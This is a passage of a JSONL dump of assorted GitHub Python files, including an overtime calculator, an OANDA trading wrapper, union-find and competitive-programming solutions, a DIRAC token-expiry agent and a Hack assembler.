grafen\nprint (\"k-means with initialie values set = \",kMeans(data), \"TD2 = \", TD2(kMeans(data)))\n\nkMeansAlgo(data, [1,2,3])","repo_name":"RuneSemey/course-help","sub_path":"DM566 - Machine Learning/Clustering/kMeans.py","file_name":"kMeans.py","file_ext":"py","file_size_in_byte":3662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"14803909470","text":"\"\"\"\nProcesses data for the button analysis\n\"\"\"\nimport logging as log\nimport os\nimport csv\n\nfrom dirs import DIR_PROCESSED, DIR_DATA_SIMU\nfrom utils import read_csv_line\nfrom split_raw_simu_data import str2time\n\n\n# ADAS in the name\n\n\ndef main():\n    # log.basicConfig(format='%(asctime)-15s [%(levelname)-10s][%(subject)-10s][%(scenario)-50s]: %(message)s',\n    #                 level=log.INFO)\n    log.basicConfig(format='%(subject)s,%(scenario)s,%(message)s', level=log.INFO)\n    results = []\n    buttons_map = {'down': 'brake',\n                   'space': 'left',\n                   'b': 'right'}\n    for root, dirs, files in os.walk(DIR_DATA_SIMU):\n        # Only ADAS scenarios\n        if not \"adas\" in root.lower():\n            continue\n        # No stop and go scenarios\n        if \"LCB_B1_Long_Alt\" in root:\n            continue\n\n        # Getting scenario and subject\n        _, scenario = os.path.split(root)\n        _, subject = os.path.split(_)\n\n        d = {'subject': subject, 'scenario': scenario}\n        button_file_path = os.path.join(root, \"keyboardvalues.csv\")\n        if not os.path.exists(button_file_path):\n            log.warning(\"No button data\".format(subject=subject, scenario=scenario), extra=d)\n            continue\n\n        button = None\n        t = None\n        start_time = None\n        time_to_answer = None\n        for l in read_csv_line(button_file_path):\n            action = l[1].lower()\n            if action == 'start':\n                start_time = str2time(l[0])\n            if action not in ['start', 'stop']:\n                if action not in buttons_map:\n                    log.warning(\"Pressed the unhandled button '{b}'\".format(b=action), extra=d)\n                    continue\n                if button is None:\n                    button = buttons_map[action]\n                    t = str2time(l[0])\n                    time_to_answer = (t - start_time).total_seconds()\n                elif button != buttons_map[action]:\n                    log.fatal(\n                        \"Pressed too many handled buttons ({b1}, {b2})\".format(b1=button, b2=buttons_map[action]),\n                        extra=d)\n                    return\n\n        if button is None:\n            log.warning(\"Pressed no button\", extra=d)\n            button = \"---\"\n            t = \"---\"\n            time_to_answer = \"---\"\n\n        results.append([scenario, subject, t, button, time_to_answer])\n\n    header = [\"scenario\",\n              \"subject\",\n              \"timecode\",\n              \"answer\",\n              \"time_to_answer\",\n              ]\n\n    assert (len(header) == len(results[0]))\n\n    res_fn = os.path.join(DIR_PROCESSED, \"button_answers.csv\")\n    with open(res_fn, 'w+') as subject_res:\n        subject_res_writer = csv.writer(subject_res, delimiter=',', quotechar='|', quoting=csv.QUOTE_MINIMAL,\n                                        lineterminator='\\n')\n        subject_res_writer.writerow(header)\n        for r in results:\n            subject_res_writer.writerow(r)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"Anais-Hoarau/BING_GUI_Plugins","sub_path":"pynd/scripts/Matt/button_process.py","file_name":"button_process.py","file_ext":"py","file_size_in_byte":3038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8969130005","text":"import csv\nimport datetime\nimport operator\n\nCSV_FILE = './overtime.csv'\nCSV_SEP = \",\"\nDATETIME_FORMAT = \"%m/%d/%Y %H:%M\"\nWORKING_HOURS = 9\nDATE_ROW = 0\nENTRY_ROW = 1\nEXIT_ROW = 2\n\n\nclass CalculateOverTime(object):\n    def __init__(self):\n        self.csv_file = CSV_FILE\n        self.dt_format = DATETIME_FORMAT\n        self.working_hours = WORKING_HOURS\n        self.date_row = DATE_ROW\n        self.entry_row = ENTRY_ROW\n        self.exit_row = EXIT_ROW\n        self.csv_sep = CSV_SEP\n        self.weekly_overtime_dict = {}\n        self.weekly_overtime = datetime.timedelta(0)\n        self.current_week = -1\n        self.total_overtime = datetime.timedelta(0)\n\n    def get_minus_time(self, td):\n        td = datetime.timedelta(days=1) - td\n        sign = \"-\"\n        return \"{}{}:{}\".format(sign, (td.seconds) // 3600, td.seconds // 60 % 60)\n\n    def get_plus_time(self, td):\n        sign = \"+\"\n        return \"{}{}:{}\".format(sign, (td.days*86400 + td.seconds) // 3600, td.seconds // 60 % 60)\n\n    def get_hour_minutes(self, td, return_type=\"str\"):\n        if return_type == \"str\":\n            sign = \"+\"\n            if td.days <= -1:\n                return self.get_minus_time(td)\n            else:\n                return self.get_plus_time(td)\n        else:\n            return (td.days*86400 + td.seconds)//3600, (td.seconds//60) % 60\n\n    def get_overtime(self, start_time, end_time):\n        current_time = end_time - start_time\n        overtime = current_time - datetime.timedelta(hours=WORKING_HOURS)\n        return overtime\n\n    def generate_daily_report(self, date, start, end, overtime):\n        overtime = self.get_hour_minutes(overtime)\n        print(\"Date: {date: <10}, Start: {start: <5}, End: {end: <5},\"\n              \" Overtime: {overtime: <6}\".format(\n                  date=date,\n                  start=start,\n                  end=end,\n                  overtime=overtime\n              ))\n\n    def get_datetime(self, date, time):\n        time = time.replace(\" \", \"\")\n        return datetime.datetime.strptime('{} {}'.format(\n            date,\n            time\n        ), DATETIME_FORMAT\n        )\n\n    def get_week(self, datetime_obj):\n        return datetime_obj.strftime(\"%V\")\n\n    def update_weekly_overtime(self, overtime):\n        self.weekly_overtime += overtime\n\n    def get_weekly_report(self, week_no):\n        return self.weekly_overtime_dict.get(week_no, datetime.timedelta(0))\n\n    def create_weekly_report(self, overtime):\n        return {'overtime': overtime}\n\n    def get_updated_overtime(self, week_overtime, overtime):\n        return week_overtime + overtime\n\n    def update_weekly_report(self, week_no, overtime):\n        weekly_overtime = self.get_weekly_report(week_no)\n        updated_overtime = self.get_updated_overtime(weekly_overtime, overtime)\n        self.weekly_overtime_dict[week_no] = updated_overtime\n\n    def update_total_overtime(self, curr_overtime):\n        self.total_overtime += curr_overtime\n\n    def process_csv(self):\n        try:\n            self.show_header(\"Daily Overtime\", 61)\n            with open(self.csv_file) as csv_file:\n                csv_reader = csv.reader(csv_file, delimiter=self.csv_sep)\n                line = 0\n                for row in csv_reader:\n                    line += 1\n                    if line == 1:\n                        continue\n                    date = row[self.date_row]\n                    entry = row[self.entry_row]\n                    end = row[self.exit_row]\n                    entry_time = self.get_datetime(date, entry)\n                    exit_time = self.get_datetime(date, end)\n                    current_week = self.get_week(entry_time)\n                    if entry_time == exit_time:\n                        continue\n                    current_overtime = self.get_overtime(entry_time, exit_time)\n                    self.update_total_overtime(current_overtime)\n                    self.update_weekly_report(current_week, current_overtime)\n                    self.generate_daily_report(\n                        date, entry, end, current_overtime)\n            print('-'*61)\n        except IOError:\n            print(\"File not found at {}\".format(self.csv_file))\n\n        except IndexError:\n            print(\"Delimiter '{}' not found\".format(self.csv_sep))\n\n        except ValueError as e:\n            print(str(e))\n\n        except Exception as e:\n            print(\"Generic Exception\")\n            print(str(e))\n\n    def display_weekly_entry(self, week_no, overtime):\n        overtime = self.get_hour_minutes(overtime)\n        print(\n            \"Week {week_no: <3} \"\n            \"Overtime: {overtime: <6}\".format(\n                week_no=week_no,\n                overtime=overtime)\n        )\n\n    def show_header(self, text=\"\", max_line=24):\n        print('-'*max_line)\n        print(text.center(max_line))\n        print('-'*max_line)\n\n    def generate_weekly_report(self):\n        max_line = 24\n        self.show_header(\"Weekly Report\", max_line)\n        total_overtime = datetime.timedelta(0)\n        for key, value in sorted(self.weekly_overtime_dict.items(), key=operator.itemgetter(0)):\n            self.display_weekly_entry(key, value)\n            total_overtime += value\n        print('-' * max_line)\n\n    def show_total_overtime(self):\n        hours, minutes = self.get_hour_minutes(\n            self.total_overtime, return_type=\"int\")\n        self.show_header(\"Total Overtime\", 22)\n        print(\n            \"Hours: {hours: <3} Minutes: {minutes: <3}\".format(\n                hours=hours,\n                minutes=minutes\n            )\n        )\n        print('-'*22)\n\n\nif __name__ == \"__main__\":\n    overtime = CalculateOverTime()\n    overtime.process_csv()\n    overtime.generate_weekly_report()\n    overtime.show_total_overtime()\n","repo_name":"ruddra/cefalo-overtime-calculator","sub_path":"overtime.py","file_name":"overtime.py","file_ext":"py","file_size_in_byte":5762,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"16"}
+{"seq_id":"24136651871","text":"import pandas as pd\nimport datetime as dt\nimport oandapyV20.endpoints.accounts as accounts\nimport oandapyV20.endpoints.instruments as instruments\nimport pytz\nfrom oandapyV20 import API\nfrom oandapyV20.contrib.factories import InstrumentsCandlesFactory\nfrom oandapyV20.contrib.requests import MarketOrderRequest\nfrom oandapyV20.contrib.requests import TakeProfitDetails, StopLossDetails\nimport oandapyV20.endpoints.orders as orders\nimport oandapyV20.endpoints.positions as positions\nfrom config.keys import oanda_keys\n\nPRACTICE_API_HOST = 'api-fxpractice.forex.com'\nPRACTICE_STREAM_HOST = 'stream-fxpractice.forex.com'\nLIVE_API_HOST = 'api-fxtrade.forex.com'\nLIVE_STREAM_HOST = 'stream-fxtrade.forex.com'\nPORT = '443'\n\n\nclass OandaBroker2:\n    # tz = pytz.timezone('America/New_York')\n\n    def __init__(self, account_id, access_token, is_live=False):\n        if is_live:\n            host = LIVE_API_HOST\n            stream_host = LIVE_STREAM_HOST\n        else:\n            host = PRACTICE_API_HOST\n            stream_host = PRACTICE_STREAM_HOST\n\n        self.account_id = account_id\n        self.access_token = access_token\n        self.client = API(access_token=self.access_token)\n        self.support = None\n        self.resistance = None\n\n    def get_positions(self):\n        r = positions.OpenPositions(accountID=self.account_id)\n        self.client.request(r)\n\n        all_positions = r.response.get(\"positions\", [])\n        for position in all_positions:\n            instrument = position['instrument']\n            unrealized_pnl = position['unrealizedPL']\n            pnl = position['pl']\n            long = position['long']\n            short = position['short']\n\n            if short['units']:\n                self.on_position_event(\n                    instrument, False, short['units'], unrealized_pnl, pnl)\n            elif long['units']:\n                self.on_position_event(\n                    instrument, True, long['units'], unrealized_pnl, pnl)\n            else:\n                self.on_position_event(\n                    instrument, None, 0, unrealized_pnl, pnl)\n        return all_positions\n\n    def send_market_order(self, instrument, quantity, is_buy, take_profit=None, stop_loss=None):\n\n        tp = None if take_profit is None else TakeProfitDetails(price=take_profit).data\n\n        sl = None if stop_loss is None else StopLossDetails(price=stop_loss).data\n\n        if is_buy:\n            mkt_order = MarketOrderRequest(instrument=instrument,\n                                           units=quantity,\n                                           takeProfitOnFill=tp,\n                                           stopLossOnFill=sl)\n        else:\n            mkt_order = MarketOrderRequest(instrument=instrument,\n                                           units=(quantity * -1),\n                                           takeProfitOnFill=tp,\n                                           stopLossOnFill=sl)\n\n        r = orders.OrderCreate(self.account_id, data=mkt_order.data)\n        self.client.request(r)\n\n        if r.status_code != 201:\n            self.on_order_event(instrument, quantity, is_buy, None, 'NOT_FILLED')\n            return False\n\n        if 'orderCancelTransaction' in r.response:\n            self.on_order_event(instrument, quantity, is_buy, None, 'NOT_FILLED')\n            return False\n\n        transaction_id = r.response.get('lastTransactionID', None)\n        self.on_order_event(instrument, quantity, is_buy, transaction_id, 'FILLED')\n        return r\n\n    def get_prices(self, instruments_, params):\n        if isinstance(instruments_, list):\n            df_list = []\n            for instrument in instruments_:\n                df_list.append(self.get_prices(instrument, params))\n            return pd.concat(df_list)\n\n        return self.get_prices_instrument(instruments_, params)\n\n    def get_prices_instrument(self, instrument, params):\n        \"\"\"\n        @param instrument:\n        @param params:\n        @return: dataframe of live candles data\n        \"\"\"\n        client = self.client\n        r = instruments.InstrumentsCandles(instrument=instrument,\n                                           params=params)\n        client.request(r)\n        candles = r.response.get(\"candles\")\n        instrument = r.response.get(\"instrument\")\n        granularity = r.response.get(\"granularity\")\n        df1 = pd.DataFrame(candles)[['complete', 'volume', 'time']]\n        df2 = pd.DataFrame(list(pd.DataFrame(candles)['mid']))\n        df = pd.concat([df1, df2], axis=1)\n        df.rename(mapper={'o': 'open', 'h': 'high', 'l': 'low', 'c': 'close'}, inplace=True, axis=1)\n        df['time'] = pd.to_datetime(df['time'])\n        # df['time'] = df['time'].dt.tz_convert('America/New_York')\n\n        df[['open', 'high', 'low', 'close']] = df[['open', 'high', 'low', 'close']].apply(pd.to_numeric,\n                                                                                          errors='coerce')\n        df['instrument'] = instrument\n        df['granularity'] = granularity\n        return df\n\n    def on_order_event(self, instrument, quantity, is_buy, transaction_id, status):\n        print(\n            dt.datetime.now(), '[ORDER]',\n            'account_id:', self.account_id,\n            'transaction_id:', transaction_id,\n            'status:', status,\n            'instrument:', instrument,\n            'quantity:', quantity,\n            'is_buy:', is_buy,\n        )\n\n    def on_position_event(self, instrument, is_long, units, unrealized_pnl, pnl):\n        print(\n            dt.datetime.now(), '[POSITION]',\n            'account_id:', self.account_id,\n            'instrument:', instrument,\n            'is_long:', is_long,\n            'units:', units,\n            'upnl:', unrealized_pnl,\n            'pnl:', pnl\n        )\n\n\nif __name__ == '__main__':\n    broker = OandaBroker2(account_id=oanda_keys['account_id'], access_token=oanda_keys['access_token'])\n    # pos = broker.get_positions()\n    # print(pos)\n    # for p in pos:\n    #     print(p['instrument'], p['long'])\n    #     print(p['instrument'], p['short'])\n    # order = broker.send_market_order('EUR_USD', 1, True)\n    # print(order)\n\n    print(broker.get_positions())\n    print('end')\n","repo_name":"vhphan/algotrading101","sub_path":"traders/oanda/broker_oanda.py","file_name":"broker_oanda.py","file_ext":"py","file_size_in_byte":6194,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"32625161971","text":"from collections import defaultdict\n\nclass UnionFind():\n    def __init__(self, n):\n        self.n = n\n        self.parents = [-1] * n\n\n    def find(self, x):\n        if self.parents[x] < 0:\n            return x\n        else:\n            self.parents[x] = self.find(self.parents[x])\n            return self.parents[x]\n\n    def union(self, x, y):\n        x = self.find(x)\n        y = self.find(y)\n\n        if x == y:\n            return\n\n        if self.parents[x] > self.parents[y]:\n            x, y = y, x\n\n        self.parents[x] += self.parents[y]\n        self.parents[y] = x\n\n    def size(self, x):\n        return -self.parents[self.find(x)]\n\n    def same(self, x, y):\n        return self.find(x) == self.find(y)\n\n    def members(self, x):\n        root = self.find(x)\n        return [i for i in range(self.n) if self.find(i) == root]\n\n    def roots(self):\n        return [i for i, x in enumerate(self.parents) if x < 0]\n\n    def group_count(self):\n        return len(self.roots())\n\n    def all_group_members(self):\n        group_members = defaultdict(list)\n        for member in range(self.n):\n            group_members[self.find(member)].append(member)\n        return group_members\n\n    def __str__(self):\n        return '\\n'.join(f'{r}: {m}' for r, m in self.all_group_members().items())\n\nN, M = map(int, input().split())\nC, L, R = [], [], []\nfor _ in range(M):\n    c, l, r = map(int, input().split())\n    C.append(c)\n    L.append(l)\n    R.append(r)\n\nuf = UnionFind(N+1)\n\nC, L, R = zip(*sorted(zip(C, L, R)))\n\nans = 0\nmembers = 0\n\nfor i in range(M):\n    c, l, r = C[i], L[i], R[i]\n\n    if uf.same(l-1, r):\n        continue\n\n    members += 1\n    ans += c\n    uf.union(l-1, r)\n    if members == N:\n        break\n\nif members == N:\n    print(ans)\nelse:\n    print(-1)\n","repo_name":"tamlog06/Atcoder-Beginner-Contest","sub_path":"problems/Typical/typical90/aw/typical90_aw.py","file_name":"typical90_aw.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"2172850383","text":"class Solution:\n    def isGood(self, nums: List[int]) -> bool:\n      nums.sort()\n      m=max(nums)\n      l=len(nums)\n      if(nums[l-1]==m and nums.count(m)==2 and l-1==m):\n          flag=1\n          for i in range(l-2):\n              if(nums.count(i)>1):\n                  flag=0\n                  break\n          if(flag==1):\n              return True\n      return False\n\n\n","repo_name":"Harsha-vardhan1/Product-Based-Company-Training-By-SRU","sub_path":"day 13/check if array is good.py","file_name":"check if array is good.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11806393867","text":"from utils import table as table_utils\n\n\"\"\"\n    Author: Jaelson Carvalho - 11427671\n    Python 3.4.3\n    Usage: python binomial_coefficient.py\n\n    Resources:\n        https://github.com/jcarva/algorithms/blob/dynamic-programming/binomial-coefficient.js\n        http://www.geeksforgeeks.org/dynamic-programming-set-9-binomial-coefficient/\n        https://en.wikipedia.org/wiki/Binomial_coefficient\n\n    Description:\n        A binomial coefficient C(n, k) also gives the number of ways, disregarding order, that\n        k objects can be chosen from among n objects; more formally, the number of k-element subsets\n        (or k-combinations) of an n-element set.\n\n    Complexity: O(n*k)\n\n    Applications:\n        Some modeling chemical systems and solving by numerical approaches uses binomial coefficient\n        to generate central difference equations to odd-ordered partial differentials in a single-step\n        operation. All finite difference equations to partial differentials shown herein display finite\n        series of palindromic coefficients with alternating signs.\n\"\"\"\n\ndef solve(input):\n    \"\"\"\n    :param input:   array that contains two non negatives integers, where the second value should be\n                    less or equal to the first.\n                                ex: [50, 3]\n\n    :return:        integer that represents the calculated binomial coefficient.\n                                ex: 19600\n    \"\"\"\n    return _binomial_coefficient(input[0], input[1])\n\n\ndef _binomial_coefficient(n, k):\n    if (n >= k) and (k >= 0):\n\n        # Create a table to store values that are used to solve shortest problems\n        c = table_utils.initialize(1, k + 1, 0)[0]\n\n        # Set the first position with 1\n        c[0] = 1\n\n        for i in range(1, n+1):\n\n            # Calculate the current row of pascal triangle using the previous column\n            j = min(i, k)\n            while j > 0:\n                c[j] = c[j] + c[j-1]\n                j -= 1\n\n        return c[k]\n\n    else:\n        return -1\n","repo_name":"fernandobrito/algorithms_design_assignments","sub_path":"dynamic_greedy_lib/dynamic/binomial_coefficient.py","file_name":"binomial_coefficient.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"25487846846","text":"# A simple interactive program that alerts consumers of their tax and the minimum tip they can give\r\ncost = int(input('meal cost: '))\r\ntip = float(cost) * 0.18\r\ntax = float(cost) * 0.07\r\n\r\ndef addnumbers (cost, tip, tax):\r\n    return (cost + tip  + tax)\r\n\r\nsum = float(cost) + float(tip) + float(tax)\r\nresult = (\"The sum of {0}, {1} and {2} is {3}\".format(cost, tip, tax, sum))\r\n\r\nprint('Your tip is ', tip)\r\nprint('Your tax is ', tax)\r\nprint(result)\r\nprint(\"Thank you. See you again!\")","repo_name":"kwakuduah12/Tax-Tip","sub_path":"Tax_Tip.py","file_name":"Tax_Tip.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34614546279","text":"# $HeadURL:  $\n''' TokenAgent\n\n  This agent inspect all elements, and resets their tokens if necessary.\n\n'''\n\nimport datetime\n\nfrom DIRAC                                                      import S_OK, S_ERROR\nfrom DIRAC.Core.Base.AgentModule                                import AgentModule\nfrom DIRAC.FrameworkSystem.Client.NotificationClient            import NotificationClient\nfrom DIRAC.ResourceStatusSystem.Client.ResourceStatusClient     import ResourceStatusClient\nfrom DIRAC.ResourceStatusSystem.Client.ResourceManagementClient import ResourceManagementClient\nfrom DIRAC.ResourceStatusSystem.PolicySystem.PDP                import PDP\nfrom DIRAC.ResourceStatusSystem.Utilities                       import RssConfiguration \n\n__RCSID__  = '$Id: $'\nAGENT_NAME = 'ResourceStatus/TokenAgent'\n\nclass TokenAgent( AgentModule ):\n  '''\n    TokenAgent is in charge of checking tokens assigned on resources.\n    Notifications are sent to those users owning expiring tokens.\n  '''\n\n  # Too many public methods\n  # pylint: disable-msg=R0904\n\n  def initialize( self ):\n    '''\n    TokenAgent initialization\n    '''\n    \n    # Attribute defined outside __init__\n    # pylint: disable-msg=W0201\n\n    self.notifyHours = self.am_getOption( 'notifyHours', 10 )\n\n    try:\n      self.rsClient = ResourceStatusClient()\n      self.rmClient = ResourceManagementClient()\n      self.noClient = NotificationClient()\n\n      return S_OK()\n    except Exception:\n      errorStr = \"TokenAgent initialization\"\n      self.log.exception( errorStr )\n      return S_ERROR( errorStr )\n\n  def execute( self ):\n    '''\n      The main TokenAgent execution method.\n      Checks for tokens owned by users that are expiring, and notifies those users.\n      Calls rsClient.setToken() to set 'RS_SVC' as owner for those tokens that expired.\n    '''\n\n    adminMail = ''\n\n    try:\n\n      reason = 'Out of date token'\n\n      #reAssign the token to RS_SVC\n      #for g in self.ELEMENTS:\n\n      validElements = RssConfiguration.getValidElements()\n\n      for granularity in validElements:\n        tokensExpired = self.rsClient.getTokens( granularity, \n                                                 tokenExpiration = datetime.datetime.utcnow() )\n\n        if tokensExpired[ 'Value' ]:\n          adminMail += '\\nLIST OF EXPIRED %s TOKENS\\n' % granularity\n          adminMail += '%s|%s|%s\\n' % ( 'user'.ljust(20), 'name'.ljust(15), 'status type')\n\n        for token in tokensExpired[ 'Value' ]:\n\n          name  = token[ 1 ]\n          stype = token[ 2 ]\n          user  = token[ 9 ]\n\n          self.rsClient.setToken( granularity, name, stype, reason, 'RS_SVC', \n                                  datetime.datetime( 9999, 12, 31, 23, 59, 59 ) )\n          adminMail += ' %s %s %s\\n' %( user.ljust(20), name.ljust(15), stype )\n\n      #notify token owners\n      inNHours = datetime.datetime.utcnow() + datetime.timedelta( hours = self.notifyHours )\n      #for g in self.ELEMENTS:\n      for granularity in validElements:\n\n        tokensExpiring = self.rsClient.getTokens( granularity, tokenExpiration = inNHours )\n\n        if tokensExpiring[ 'Value' ]:\n          adminMail += '\\nLIST OF EXPIRING %s TOKENS\\n' % granularity\n          adminMail += '%s|%s|%s\\n' % ( 'user'.ljust(20),'name'.ljust(15),'status type')\n\n        for token in tokensExpiring[ 'Value' ]:\n\n          name  = token[ 1 ]\n          stype = token[ 2 ]\n          user  = token[ 9 ]\n\n          adminMail += '\\n %s %s %s\\n' %( user.ljust(20), name.ljust(15), stype )\n\n          #If user is RS_SVC, we ignore this, whenever the token is out, this\n          #agent will set again the token to RS_SVC\n          if user == 'RS_SVC':\n            continue\n\n          pdp = PDP( granularity = granularity, name = name, statusType = stype )\n\n          decision = pdp.takeDecision()\n          pcresult = decision[ 'PolicyCombinedResult' ]\n          spresult = decision[ 'SinglePolicyResults' ]\n\n          expiration = token[ 10 ]\n\n          mailMessage = \"The token for %s %s ( %s )\" % ( granularity, name, stype )\n          mailMessage = mailMessage + \" will expire on %s\\n\\n\" % expiration\n          mailMessage = mailMessage + \"You can renew it with command 'dirac-rss-renew-token'.\\n\"\n          mailMessage = mailMessage + \"If you don't take any action, RSS will take control of the resource.\\n\\n\"\n\n          policyMessage = ''\n\n          if pcresult[ 'Action' ]:\n\n            policyMessage += \"  Policies applied will set status to %s.\\n\" % pcresult[ 'Status' ]\n\n            for spr in spresult:\n              policyMessage += \"    %s Status->%s\\n\" % ( spr[ 'PolicyName' ].ljust(25), spr[ 'Status' ] )\n\n          mailMessage += policyMessage\n          adminMail   += policyMessage\n\n          self.noClient.sendMail( self.rmClient.getUserRegistryCache( user )[ 'Value' ][ 0 ][ 2 ],\n                            'Token for %s is expiring' % name, mailMessage )\n      if adminMail != '':\n        #FIXME: 'ubeda' is not generic ;p\n        self.noClient.sendMail( self.rmClient.getUserRegistryCache( 'ubeda' )[ 'Value' ][ 0 ][ 2 ],\n                            \"Token's summary\", adminMail )\n\n      return S_OK()\n\n    except Exception:\n      errorStr = \"TokenAgent execution\"\n      self.log.exception( errorStr )\n      return S_ERROR( errorStr )\n\n################################################################################\n#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF","repo_name":"dlaur/DIRAC","sub_path":"ResourceStatusSystem/Agent/TokenAgent.py","file_name":"TokenAgent.py","file_ext":"py","file_size_in_byte":5418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"32623311251","text":"#!/usr/bin/env python3\n# from typing import *\n\n\n# def solve(K: int) -> int:\ndef solve(K):\n    see = [False] * K\n\n    a = 0\n    for i in range(K):\n        a = a*10 + 7\n        a %= K\n\n        if see[a]:\n            return -1\n\n        see[a] = True\n        if a == 0:\n            return i+1\n\n    return -1\n\n\n# generated by oj-template v4.8.1 (https://github.com/online-judge-tools/template-generator)\ndef main():\n    K = int(input())\n    a = solve(K)\n    print(a)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"tamlog06/Atcoder-Beginner-Contest","sub_path":"problems/ABC/174/c/abc174_c.py","file_name":"abc174_c.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"33398884171","text":"import string\nfrom abc import ABC, abstractmethod\n\nfrom .symboltable import SymbolTable\nfrom .exceptions import (\n        NoAddressError, BadVariableError, AddressOutOfBoundsError,\n        DestinationError, ComputationError, JumpError, RAMError)\n\n\nclass Instruction(ABC):\n    \"\"\"\n    An abstract instruction class.\n\n    Includes an abstract _check_valid method to ensure created\n    instructions are valid on initialisation.\n\n    Methods\n    -------\n    get_line()\n        Return number in the file of the line from which the instruction\n        was obtained\n    get_inst()\n        Return full instruction (excluding comments and surrounding\n        whitespace) as written in the provided file\n    encoded()\n        Return the instruction in machine language\n    \"\"\"\n\n    _symbol_table = SymbolTable()\n    _ram_address = 16\n\n    def __init__(self, line, inst):\n        self._line = line\n        self._inst = inst\n        self._check_valid()\n        self._encoded = self._encode()\n\n    def get_line(self):\n        return self._line\n\n    def get_inst(self):\n        return self._inst\n\n    def encoded(self):\n        return self._encoded\n\n    @abstractmethod\n    def _check_valid(self):\n        pass\n\n    @abstractmethod\n    def _encode(self):\n        pass\n\n    @classmethod\n    def load_table(cls, symbol_table):\n        cls._symbol_table = symbol_table\n\n\nclass AInstruction(Instruction):\n    \"\"\"\n    An A-Instruction class.\n\n    Extends the Instruction class by also containing the value\n    provided for the given A-Instruction.\n\n    Methods\n    -------\n    get_line()\n        Return number in the file of the line from which the instruction\n        was obtained\n    get_inst()\n        Return full instruction (excluding comments and surrounding\n        whitespace) as written in the provided file\n    get_value()\n        Return value after the '@' in the given A-Instruction\n    is_numeric()\n        Return true if the given address is numeric, false if symbolic\n    encoded()\n        Return the instruction in machine language\n    \"\"\"\n\n    _VALID_CHARS = frozenset(string.ascii_letters + string.digits + \"_.$:\")\n\n    def __init__(self, line, inst, value):\n        self._value = value\n        self._numeric = value.isdigit()\n        super().__init__(line, inst)\n\n    def get_value(self):\n        return self._value\n\n    def is_numeric(self):\n        return self._numeric\n\n    def _check_valid(self):\n        if self._value == \"\":\n            raise NoAddressError(self)\n        if len(self._value.split()) > 1:\n            raise BadVariableError(self)\n        if self._numeric:\n            address = int(self._value)\n            if address < 0 or address > 32767:\n                raise AddressOutOfBoundsError(self)\n        elif self._value[0].isdigit():\n            raise BadVariableError(self)\n        else:\n            for c in self._value:\n                if c not in AInstruction._VALID_CHARS:\n                    raise BadVariableError(self)\n\n    def _encode(self):\n        if self._numeric:\n            address = int(self._value)\n        elif Instruction._symbol_table.contains(self._value):\n            address = Instruction._symbol_table.get_address(self._value)\n        else:\n            if Instruction._ram_address == 16383:\n                raise RAMError(self)\n            address = Instruction._ram_address\n            Instruction._symbol_table.add_entry(self._value, address)\n            Instruction._ram_address += 1\n        bits = bin(address).replace(\"0b\", \"\")\n        return \"0\" * (16 - len(bits)) + bits\n\n\nclass CInstruction(Instruction):\n    \"\"\"\n    A C-Instruction class.\n\n    Extends the Instruction class by also containing relevant\n    C-Instruction information.\n\n    Methods\n    -------\n    get_line()\n        Return number in the file of the line from which the instruction\n        was obtained\n    get_inst()\n        Return full instruction (excluding comments and surrounding\n        whitespace) as written in the provided file\n    get_dest()\n        Return the destination registers for the computation\n    get_comp()\n        Return the desired computation\n    get_jump()\n        Return the jump operation\n    encoded()\n        Return the instruction in machine language\n    \"\"\"\n\n    DEST = {None: \"000\", \"M\": \"001\", \"D\": \"010\", \"MD\": \"011\", \"A\": \"100\",\n             \"AM\": \"101\", \"AD\": \"110\", \"AMD\": \"111\"}\n    COMP = {\"0\": \"0101010\", \"1\": \"0111111\", \"-1\": \"0111010\",\n             \"D\": \"0001100\", \"A\": \"0110000\", \"M\": \"1110000\",\n             \"!D\": \"0001101\", \"!A\": \"0110001\", \"!M\": \"1110001\",\n             \"-D\": \"0001111\", \"-A\": \"0110011\", \"-M\": \"1110011\",\n             \"D+1\": \"0011111\", \"A+1\": \"0110111\", \"M+1\": \"1110111\",\n             \"D-1\": \"0001110\", \"A-1\": \"0110010\", \"M-1\": \"1110010\",\n             \"D+A\": \"0000010\", \"D+M\": \"1000010\",\n             \"D-A\": \"0010011\", \"D-M\": \"1010011\",\n             \"A-D\": \"0000111\", \"M-D\": \"1000111\",\n             \"D&A\": \"0000000\", \"D&M\": \"1000000\",\n             \"D|A\": \"0010101\", \"D|M\": \"1010101\"}\n    JUMP = {None: \"000\", \"JGT\": \"001\", \"JEQ\": \"010\", \"JGE\": \"011\", \"JLT\": \"100\",\n             \"JNE\": \"101\", \"JLE\": \"110\", \"JMP\": \"111\"}\n\n    def __init__(self, line, inst, dest, comp, jump):\n        self._dest = dest\n        self._comp = comp\n        self._jump = jump\n        super().__init__(line, inst)\n    \n    def get_dest(self):\n        return self._dest\n\n    def get_comp(self):\n        return self._comp\n\n    def get_jump(self):\n        return self._jump\n\n    def _check_valid(self):\n        if self._dest not in CInstruction.DEST:\n            raise DestinationError(self)\n        if self._comp not in CInstruction.COMP:\n            raise ComputationError(self)\n        if self._jump not in CInstruction.JUMP:\n            raise JumpError(self)\n\n    def _encode(self):\n        return (\"111\" + CInstruction.COMP[self._comp] +\n                CInstruction.DEST[self._dest] + CInstruction.JUMP[self._jump])\n\n\ndef prepare_symbol_table(file_path):\n    